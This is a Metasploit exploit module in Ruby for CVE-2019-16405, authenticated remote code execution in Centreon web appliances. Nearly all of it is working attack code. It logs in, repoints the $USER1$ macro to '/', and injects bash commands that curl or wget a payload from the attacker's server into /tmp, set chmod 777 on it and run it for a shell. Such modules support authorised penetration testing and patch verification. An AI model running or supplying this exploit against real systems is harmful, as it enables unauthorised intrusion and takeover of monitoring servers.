####################################################################
# This module requires Metasploit: https://metasploit.com/download #
#  Current source: https://github.com/rapid7/metasploit-framework  #
####################################################################

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
        "Name" => "Centreon Authenticated Macro Expression Location Setting Handler Code Execution",
        "Description" =>  %q{
          Authenticated Remote Code Execution on Centreon Web Appliances.
          Affected versions: =< 18.10, 19.04
          By amending the Macros Expression's default directory to / we are able to execute system commands and obtain a shell as user Apache.
          Vendor verified: 09/17/2019
          Vendor patched: 10/16/2019
          Public disclosure: 10/18/2019
        },
        "License" => MSF_LICENSE,
        'Author' => [
          'TheCyberGeek', # Discovery
          'enjloezz' # Discovery and Metasploit Module
        ],
        'References' =>
        [
            ['URL','https://github.com/centreon/centreon/pull/7864'],
            ['CVE','2019-16405']
        ],
        "Platform" => "linux",
        "Targets" => [
          ["Centreon", {}],
        ],
        "Stance" => Msf::Exploit::Stance::Aggressive,
        "Privileged" => false,
        "DisclosureDate" => "Oct 19 2019",
        "DefaultOptions" => {
          "SRVPORT" => 80,
        },
        "DefaultTarget" => 0
      ))

    register_options(
      [
        OptString.new("TARGETURI", [true, "The URI of the Centreon Application", "/centreon"]),
        OptString.new("USERNAME", [true, "The Username of the Centreon Application", "admin"]),
        OptString.new("PASSWORD", [true, "The Password of the Centreon Application", ""]),
        OptString.new("TARGETS", [true, "The method used to download shell from target (default is curl)", "curl"]),
        OptInt.new("HTTPDELAY", [false, "Number of seconds the web server will wait before termination", 10]),
      ]
    )
  end

  def exploit
    begin
      res = send_request_cgi(
        "uri" => normalize_uri(target_uri.path, "index.php"),
        "method" => "GET",
      )
      @phpsessid = res.get_cookies
      /centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body

      unless token
        vprint_error("Couldn't get token, check your TARGETURI")
        return
      end
      res = send_request_cgi!(
      "uri" => normalize_uri(target_uri.path, "index.php"),
      "method" => "POST",
      "cookie" => @phpsessid,
      "vars_post" => {
        "useralias" => datastore["USERNAME"],
        "password" => datastore["PASSWORD"],
        "centreon_token" => token,
        },
      )
      unless res.body.include? "You need to enable JavaScript to run this app"
        fail_with Failure::NoAccess "Cannot login to Centreon"
      end
      print_good("Login Successful!")
      res = send_request_cgi(
        "uri" => normalize_uri(target_uri.path, "main.get.php"),
        "method" => "GET",
        "cookie" => @phpsessid,
        "vars_get" => {
          "p" => "60904",
          "o" => "c",
          "resource_id" => 1,
        },
      )
      /centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body
      res = send_request_cgi(
        "uri" => normalize_uri(target_uri.path, "main.get.php"),
        "vars_get" => {
          "p" => "60904",
          },
        "method" => "POST",
        "cookie" => @phpsessid,
        "vars_post" => {
          "resource_name": "$USER1$",
          "resource_line": "/",
          "instance_id": 1,
          "resource_activate": 1,
          "resource_comment": "Nagios Plugins Path",
          "submitC": "Save",
          "resource_id": 1,
          "o": "c",
          "initialValues": "" "a:0:{}" "",
          "centreon_token": token
        },
      )
      begin
        Timeout.timeout(datastore["HTTPDELAY"]) { super }
      rescue Timeout::Error
        vprint_error("Server Timed Out...")
      end
    rescue ::Rex::ConnectionError
      vprint_error("Connection error...")
    end
  end

  def primer
    @pl = generate_payload_exe
    @path = service.resources.keys[0]
    binding_ip = srvhost_addr

    proto = ssl ? "https" : "http"
    payload_uri = "#{proto}://#{binding_ip}:#{datastore["SRVPORT"]}/#{@path}"
    send_payload(payload_uri)
  end

  def send_payload(payload_uri)
    payload = "/bin/bash -c \"" + ( datastore["method"] == "curl" ? ("curl #{payload_uri} -o") : ("wget #{payload_uri} -O") ) + " /tmp/#{@path}\""
    print_good("Sending Payload")
    send_request_cgi(
      "uri" => normalize_uri(target_uri.path, "main.get.php"),
      "method" => "POST",
      "cookie" => @phpsessid,
      "vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": payload, "o": "p", "min": 1 },
    )
  end

  def on_request_uri(cli, req)
    print_good("#{peer} - Payload request received: #{req.uri}")
    send_response(cli, @pl)
    run_shell
    stop_service
  end

  def run_shell
    print_good("Setting permissions for the payload")
    res = send_request_cgi(
      "uri" => normalize_uri(target_uri.path, "main.get.php"),
      "method" => "POST",
      "cookie" => @phpsessid,
      "vars_get" => {
        "p": "60801",
        "command_hostaddress": "",
        "command_example": "",
        "command_line": "/bin/bash -c \"chmod 777 /tmp/#{@path}\"",
        "o": "p",
        "min": 1,
      },
    )

    print_good("Executing Payload")
    res = send_request_cgi(
      "uri" => normalize_uri(target_uri.path, "main.get.php"),
      "method" => "POST",
      "cookie" => @phpsessid,
      "vars_get" => {
        "p": "60801",
        "command_hostaddress": "",
        "command_example": "",
        "command_line": "/tmp/#{@path}",
        "o": "p",
        "min": 1,
      },
    )
  end
end